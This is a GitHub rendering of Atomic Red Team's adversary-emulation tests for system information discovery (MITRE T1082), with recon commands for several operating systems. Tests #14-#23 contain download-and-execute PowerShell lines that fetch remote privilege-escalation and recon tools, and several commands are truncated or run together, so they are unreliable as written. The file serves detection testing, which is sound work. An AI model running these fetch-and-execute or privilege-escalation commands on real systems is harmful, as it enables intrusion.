








Sign in


 redcanaryco / atomic-red-team

Public

 Notifications


 Fork

2.8k


 Star

9.7k


<> Code


 Issues


6


 Pull requests

4

 Actions

 Wiki

 Security




 Insights

atomic-red-team / atomics / T1082 / T1082.md 



1092 lines (490 loc) · 25.5 KB

PreviewCodeBlame

Raw

T1082 - System Information Discovery

Description from ATT&CK

An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from [System Information Discovery](https://attack.mitre.org/techniques/T1082) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

Tools such as [Systeminfo](#) can be used to gather detailed system information. If running with privileged access, a breakdown of system data can be gathered through the `systemsetup` configuration tool on macOS. As an example, adversaries with user-level access can execute the `df -aH` command to obtain currently mounted disks and associated freely available space.

Adversaries may also leverage a [Network Device CLI](#) on network devices to gather detailed system information (e.g. `show version`). (Citation: US-CERT-TA18-106A) [System Information Discovery](#) combined with information gathered from other forms of discovery and reconnaissance can drive payload development and concealment. (Citation: OSX.FairyTale) (Citation: 20 macOS Common Tools and Techniques)

Infrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine.(Citation: Amazon Describe Instance)(Citation: Google Instances Resource)
(Citation: Microsoft Virtual Machine API)

Atomic Tests

- [Atomic Test #1 - System Information Discovery](#)
- [Atomic Test #2 - System Information Discovery](#)
- [Atomic Test #3 - List OS Information](#)
- [Atomic Test #4 - Linux VM Check via Hardware](#)
- [Atomic Test #5 - Linux VM Check via Kernel Modules](#)
- [Atomic Test #6 - FreeBSD VM Check via Kernel Modules](#)
- [Atomic Test #7 - Hostname Discovery \(Windows\)](#)
- [Atomic Test #8 - Hostname Discovery](#)
- [Atomic Test #9 - Windows MachineGUID Discovery](#)
- [Atomic Test #10 - Griffon Recon](#)
- [Atomic Test #11 - Environment variables discovery on windows](#)
- [Atomic Test #12 - Environment variables discovery on freebsd, macos and linux](#)
- [Atomic Test #13 - Show System Integrity Protection status \(MacOS\)](#)
- [Atomic Test #14 - WinPwn - winPEAS](#)
- [Atomic Test #15 - WinPwn - itm4nprivesc](#)
- [Atomic Test #16 - WinPwn - Powersploits privesc checks](#)
- [Atomic Test #17 - WinPwn - General privesc checks](#)
- [Atomic Test #18 - WinPwn - GeneralRecon](#)

- [Atomic Test #19 - WinPwn - Morerecon](#)
- [Atomic Test #20 - WinPwn - RBCD-Check](#)
- [Atomic Test #21 - WinPwn - PowerSharpPack - Watson searching for missing windows patches](#)
- [Atomic Test #22 - WinPwn - PowerSharpPack - Sharpup checking common Privesc vectors](#)
- [Atomic Test #23 - WinPwn - PowerSharpPack - Seatbelt](#)
- [Atomic Test #24 - Azure Security Scan with SkyArk](#)
- [Atomic Test #25 - Linux List Kernel Modules](#)
- [Atomic Test #26 - FreeBSD List Kernel Modules](#)
- [Atomic Test #27 - System Information Discovery with WMIC](#)
- [Atomic Test #28 - Driver Enumeration using DriverQuery](#)
- [Atomic Test #29 - System Information Discovery](#)
- [Atomic Test #30 - Check computer location](#)
- [Atomic Test #31 - BIOS Information Discovery through Registry](#)

Atomic Test #1 - System Information Discovery

Identify System Info. Upon execution, system info and time info will be displayed.

Supported Platforms: Windows

auto_generated_guid: 66703791-c902-4560-8770-42b8a91f7667

Attack Commands: Run with `command_prompt` !

```
systeminfo
reg query HKLM\SYSTEM\CurrentControlSet\Services\Disk\Enum
```



Atomic Test #2 - System Information Discovery

Identify System Info

Supported Platforms: macOS

auto_generated_guid: edff98ec-0f73-4f63-9890-6b117092aff6

Attack Commands: Run with `sh` !

```
system_profiler
ls -al /Applications
```

Atomic Test #3 - List OS Information

Identify System Info

Supported Platforms: FreeBSD, Linux, macOS

auto_generated_guid: cccb070c-df86-4216-a5bc-9fb60c74e27c

Inputs:

| Name | Description | Type | Default Value |
|-------------|--|------|----------------|
| output_file | Output file used to store the results. | path | /tmp/T1082.txt |

Attack Commands: Run with `sh` !

```
uname -a >> #{output_file}
if [ -f /etc/lsb-release ]; then cat /etc/lsb-release >> #{output_file}; fi
if [ -f /etc/redhat-release ]; then cat /etc/redhat-release >> #{output_file}; fi
if [ -f /etc/issue ]; then cat /etc/issue >> #{output_file}; fi
```

```
if [ -f /etc/os-release ]; then cat /etc/os-release >> #{output_file}; fi
uptime >> #{output_file}
cat #{output_file} 2>/dev/null
```

Cleanup Commands:

```
rm #{output_file} 2>/dev/null
```



Atomic Test #4 - Linux VM Check via Hardware

Identify virtual machine hardware. This technique is used by the Pupy RAT and other malware.

Supported Platforms: Linux

auto_generated_guid: 31dad7ad-2286-4c02-ae92-274418c85fec

Attack Commands: Run with **bash** ! Elevation Required (e.g. root or admin)

```
if [ -f /sys/class/dmi/id/bios_version ]; then cat /sys/class/dmi/id/bios_version
if [ -f /sys/class/dmi/id/product_name ]; then cat /sys/class/dmi/id/product_name
if [ -f /sys/class/dmi/id/product_name ]; then cat /sys/class/dmi/id/chassis_vendor
if [ -x "$(command -v dmidecode)" ]; then sudo dmidecode | grep -i "microsoft\|vmw
if [ -f /proc/scsi/scsi ]; then cat /proc/scsi/scsi | grep -i "vmware\|vbox"; fi
if [ -f /proc/ide/hd0/model ]; then cat /proc/ide/hd0/model | grep -i "vmware\|vbo
if [ -x "$(command -v lspci)" ]; then sudo lspci | grep -i "vmware\|virtualbox"; f
if [ -x "$(command -v lscpu)" ]; then sudo lscpu | grep -i "Xen\|KVM\|Microsoft";
```



Atomic Test #5 - Linux VM Check via Kernel Modules

Identify virtual machine guest kernel modules. This technique is used by the Pupy RAT and other malware.

Supported Platforms: Linux

auto_generated_guid: 8057d484-0fae-49a4-8302-4812c4f1e64e

Attack Commands: Run with **bash** !

```
sudo lsmod | grep -i "vboxsf\|vboxguest"  
sudo lsmod | grep -i "vmw_balloon\|vmxnet"  
sudo lsmod | grep -i "xen-vbd\|xen-vnif"  
sudo lsmod | grep -i "virtio_pci\|virtio_net"  
sudo lsmod | grep -i "hv_vmbus\|hv_blkvsc\|hv_netvsc\|hv_utils\|hv_storvsc"
```



Atomic Test #6 - FreeBSD VM Check via Kernel Modules

Identify virtual machine host kernel modules.

Supported Platforms: FreeBSD

auto_generated_guid: eefe6a49-d88b-41d8-8fc2-b46822da90d3

Attack Commands: Run with **sh** !

```
kldstat | grep -i "vmm"  
kldstat | grep -i "vbox"
```



Atomic Test #7 - Hostname Discovery (Windows)

Identify system hostname for Windows. Upon execution, the hostname of the device will be displayed.

Supported Platforms: Windows

auto_generated_guid: 85cfbf23-4a1e-4342-8792-007e004b975f

Attack Commands: Run with **command_prompt** !

```
hostname
```



Atomic Test #8 - Hostname Discovery

Identify system hostname for FreeBSD, Linux and macOS systems.

Supported Platforms: FreeBSD, Linux, macOS

auto_generated_guid: 486e88ea-4f56-470f-9b57-3f4d73f39133

Attack Commands: Run with `sh` !

```
hostname
```



Atomic Test #9 - Windows MachineGUID Discovery

Identify the Windows MachineGUID value for a system. Upon execution, the machine GUID will be displayed from registry.

Supported Platforms: Windows

auto_generated_guid: 224b4daf-db44-404e-b6b2-f4d1f0126ef8

Attack Commands: Run with `command_prompt` !

```
REG QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography /v MachineGuid
```



Atomic Test #10 - Griffon Recon

This script emulates the reconnaissance script seen in used by Griffon and was modified by security researcher Kirk Sayre in order simply print the recon results to the screen as opposed to exfiltrating them. [Script](#).

For more information see also <https://malpedia.caad.fkie.fraunhofer.de/details/js.griffon> and <https://attack.mitre.org/software/S0417/>

Supported Platforms: Windows

auto_generated_guid: 69bd4abe-8759-49a6-8d21-0f15822d6370

Inputs:

| Name | Description | Type | Default Value |
|----------|-----------------------|--------|---|
| vbscript | Path to sample script | string | PathToAtomicsFolder\T1082\src\griffon_recon.vbs |

Attack Commands: Run with powershell !

```
cscript "#{vbscript}"
```

Dependencies: Run with powershell !

Description: Sample script file must exist on disk at specified location ({vbscript})

Check Prereq Commands:

```
if (Test-Path "#{vbscript}") {exit 0} else {exit 1}
```

Get Prereq Commands:

```
New-Item -Type Directory (split-path "#{vbscript}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomic"
```


Atomic Test #11 - Environment variables discovery on windows

Identify all environment variables. Upon execution, environments variables and your path info will be displayed.

Supported Platforms: Windows

auto_generated_guid: f400d1c0-1804-4ff8-b069-ef5ddd2adbf3

Attack Commands: Run with `command_prompt` !

```
set
```



Atomic Test #12 - Environment variables discovery on freebsd, macos and linux

Identify all environment variables. Upon execution, environments variables and your path info will be displayed.

Supported Platforms: FreeBSD, macOS, Linux

auto_generated_guid: fcbdd43f-f4ad-42d5-98f3-0218097e2720

Attack Commands: Run with `sh` !

```
env
```



Atomic Test #13 - Show System Integrity Protection status (MacOS)

Read and Display System Integrity Protection status. csrutil is commonly used by malware and post-exploitation tools to determine whether certain files and directories on the system are writable or not.

Supported Platforms: macOS

auto_generated_guid: 327cc050-9e99-4c8e-99b5-1d15f2fb6b96

Attack Commands: Run with **sh** !

```
csrutil status
```



Atomic Test #14 - WinPwn - winPEAS

Discover Local Privilege Escalation possibilities using winPEAS function of WinPwn

Supported Platforms: Windows

auto_generated_guid: eea1d918-825e-47dd-acc2-814d6c58c0e1

Attack Commands: Run with **powershell** !

```
$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'  
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/winPEAS -noninteractive -consoleoutput')
```



Atomic Test #15 - WinPwn - itm4nprivesc

Discover Local Privilege Escalation possibilities using itm4nprivesc function of WinPwn

Supported Platforms: Windows

auto_generated_guid: 3d256a2f-5e57-4003-8eb6-64d91b1da7ce

Attack Commands: Run with powershell !

```
$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'  
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/itm4nprivesc -noninteractive -consoleoutput')
```



Atomic Test #16 - WinPwn - Powersploits privesc checks

Powersploits privesc checks using oldchecks function of WinPwn

Supported Platforms: Windows

auto_generated_guid: 345cb8e4-d2de-4011-a580-619cf5a9e2d7

Attack Commands: Run with powershell !

```
$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'  
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/oldchecks -noninteractive -consoleoutput')
```



Cleanup Commands:

```
rm -force -recurse .\DomainRecon -ErrorAction Ignore  
rm -force -recurse .\Exploitation -ErrorAction Ignore  
rm -force -recurse .\LocalPrivEsc -ErrorAction Ignore  
rm -force -recurse .\LocalRecon -ErrorAction Ignore  
rm -force -recurse .\Vulnerabilities -ErrorAction Ignore
```



Atomic Test #17 - WinPwn - General privesc checks

General privesc checks using the otherchecks function of WinPwn

Supported Platforms: Windows

auto_generated_guid: 5b6f39a2-6ec7-4783-a5fd-2c54a55409ed

Attack Commands: Run with **powershell** !

```
$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'  
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/otherchecks -noninteractive -consoleoutput')
```



Atomic Test #18 - WinPwn - GeneralRecon

Collect general computer informations via GeneralRecon function of WinPwn

Supported Platforms: Windows

auto_generated_guid: 7804659b-fdbf-4cf6-b06a-c03e758590e8

Attack Commands: Run with **powershell** !

```
$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'  
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Generalrecon -consoleoutput -noninteractive')
```



Atomic Test #19 - WinPwn - Morerecon

Gathers local system information using the Morerecon function of WinPwn

Supported Platforms: Windows

auto_generated_guid: 3278b2f6-f733-4875-9ef4-bfed34244f0a

Attack Commands: Run with **powershell** !

```
$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'  
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3  
More recon -noninteractive -consoleoutput
```



Atomic Test #20 - WinPwn - RBCD-Check

Search for Resource-Based Constrained Delegation attack paths using RBCD-Check function of WinPwn

Supported Platforms: Windows

auto_generated_guid: dec6a0d8-bcaf-4c22-9d48-2aee59fb692b

Attack Commands: Run with **powershell** !

```
$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'  
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3  
RBCD-Check -consoleoutput -noninteractive
```



Atomic Test #21 - WinPwn - PowerSharpPack - Watson searching for missing windows patches

PowerSharpPack - Watson searching for missing windows patches technique via function of WinPwn

Supported Platforms: Windows

auto_generated_guid: 07b18a66-6304-47d2-bad0-ef421eb2e107

Attack Commands: Run with **powershell** !

```
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3  
Invoke-watson
```



Atomic Test #22 - WinPwn - PowerSharpPack - Sharpup checking common Privesc vectors

PowerSharpPack - Sharpup checking common Privesc vectors technique via function of WinPwn - Takes several minutes to complete.

Supported Platforms: Windows

auto_generated_guid: efb79454-1101-4224-a4d0-30c9c8b29ffc

Attack Commands: Run with `powershell` !

```
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3rgey/PowerSharpPack/master/Sharpup.ps1')  
Invoke-SharpUp -command "audit"
```

Atomic Test #23 - WinPwn - PowerSharpPack - Seatbelt

PowerSharpPack - Seatbelt technique via function of WinPwn.

[Seatbelt](#) is a C# project that performs a number of security oriented host-survey "safety checks" relevant from both offensive and defensive security perspectives.

Supported Platforms: Windows

auto_generated_guid: 5c16ceb4-ba3a-43d7-b848-a13c1f216d95

Attack Commands: Run with `powershell` !

```
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3rgey/PowerSharpPack/master/Seatbelt.ps1')  
Invoke-Seatbelt -Command "-group=all"; pause
```

Atomic Test #24 - Azure Security Scan with SkyArk

Upon successful execution, this test will utilize a valid read-only Azure AD user's credentials to conduct a security scan and determine what users exist in a given tenant, as well as identify any admin users. Once the test is complete, a folder will be output to the temp directory that contains 3 csv files which provide info on the discovered users. See <https://github.com/cyberark/SkyArk>

Supported Platforms: Azure-ad

auto_generated_guid: 26a18d3d-f8bc-486b-9a33-d6df5d78a594

Inputs:

| Name | Description | Type | Default Value |
|----------|-------------------|--------|---------------|
| username | Azure AD username | string | |
| password | Azure AD password | string | T1082Az |

Attack Commands: Run with `powershell` ! Elevation Required (e.g. root or admin)

```
Import-Module "PathToAtomicsFolder\..\ExternalPayloads\AzureStealth.ps1" -force
$Password = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $Password, $Credential
Connect-AzAccount -Credential $Credential
Connect-AzureAD -Credential $Credential
Scan-AzureAdmins -UseCurrentCred
```



Cleanup Commands:

```
$resultstime = Get-Date -Format "yyyyMMdd"
$resultsfolder = ("Results-" + $resultstime)
remove-item $env:temp\$resultsfolder -recurse -force -erroraction silentlycontinue
```



Dependencies: Run with `powershell` !

Enumerate kernel modules installed 3 different ways. Upon successful execution stdout will display kernel modules installed on host 2 times, followed by list of modules matching 'vmw' if present.

Supported Platforms: Linux

auto_generated_guid: 034fe21c-3186-49dd-8d5d-128b35f181c7

Attack Commands: Run with **sh** !

```
lsmod  
kmod list  
grep vmw /proc/modules
```



Atomic Test #26 - FreeBSD List Kernel Modules

Enumerate kernel modules loaded. Upon successful execution stdout will display kernel modules loaded, followed by list of modules matching 'vmm' if present.

Supported Platforms: FreeBSD

auto_generated_guid: 4947897f-643a-4b75-b3f5-bed6885749f6

Attack Commands: Run with **sh** !

```
kldstat  
kldstat | grep vmm
```



Atomic Test #27 - System Information Discovery with WMIC

Identify system information with the WMI command-line (WMIC) utility. Upon execution, various system information will be displayed, including: OS, CPU, GPU, and disk drive names; memory capacity; display resolution; and baseboard, BIOS, and GPU driver products/versions. <https://nwgat.ninja/getting->

[system-information-with-wmic-on-windows/](#) Elements of this test were observed in the wild used by Aurora Stealer in late 2022 and early 2023, as highlighted in public reporting:

<https://blog.sekoia.io/aurora-a-rising-stealer-flying-under-the-radar>

<https://blog.cyble.com/2023/01/18/aurora-a-stealer-using-shapeshifting-tactics/>

Supported Platforms: Windows

auto_generated_guid: 8851b73a-3624-4bf7-8704-aa312411565c

Attack Commands: Run with `command_prompt` !

```
wmic cpu get name
wmic MEMPHYSICAL get MaxCapacity
wmic baseboard get product
wmic baseboard get version
wmic bios get SMBIOSBIOSVersion
wmic path win32_VideoController get name
wmic path win32_VideoController get DriverVersion
wmic path win32_VideoController get VideoModeDescription
wmic OS get Caption,OSArchitecture,Version
wmic DISKDRIVE get Caption
Get-WmiObject win32_bios
```



Atomic Test #28 - Driver Enumeration using DriverQuery

Executes the driverquery command to list drivers installed on the system. Adversaries utilize the feature to enumerate the driver and it can be used for Exploitation. command /v - provide verbose output but not valid for signed drivers /si - provide information about signed drivers

Supported Platforms: Windows

auto_generated_guid: bd85e3d1-4aeb-4a1d-850f-7be3cb8d60b9

Attack Commands: Run with `command_prompt` !

```
driverquery /v
driverquery /si
```



Atomic Test #29 - System Information Discovery

The script `gathernetworkinfo.vbs` is employed to collect system information such as the operating system, DNS details, firewall configuration, etc. Outputs are stored in `c:\Windows\System32\config` or `c:\Windows\System32\reg`. <https://www.verboon.info/2011/06/the-gathernetworkinfo-vbs-script/>

Supported Platforms: Windows

auto_generated_guid: 4060ee98-01ae-4c8e-8aad-af8300519cc7

Attack Commands: Run with `command_prompt` ! Elevation Required (e.g. root or admin)

```
wscript.exe C:\Windows\System32\gatherNetworkInfo.vbs
```



Atomic Test #30 - Check computer location

Looks up country code configured in the registry, likely geofence. Upon execution, country code info will be displayed.

- <https://tria.ge/210111-eaz8mqhgh6/behavioral1>

Supported Platforms: Windows

auto_generated_guid: 96be6002-9200-47db-94cb-c3e27de1cb36

Attack Commands: Run with `command_prompt` !

```
reg query "HKEY_CURRENT_USER\Control Panel\International\Geo"
```



Atomic Test #31 - BIOS Information Discovery through Registry

Looks up for BIOS information in the registry. BIOS information is often read in order to detect sandboxing environments. Upon execution, BIOS information will be displayed.

- <https://tria.ge/210111-eaz8mqhgh6/behavioral1>
- <https://evasions.checkpoint.com/techniques/registry.html>

Supported Platforms: Windows

auto_generated_guid: f2f91612-d904-49d7-87c2-6c165d23bead

Attack Commands: Run with `command_prompt` !

```
reg query HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System /v SystemBiosVersion  
reg query HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System /v VideoBiosVersion
```

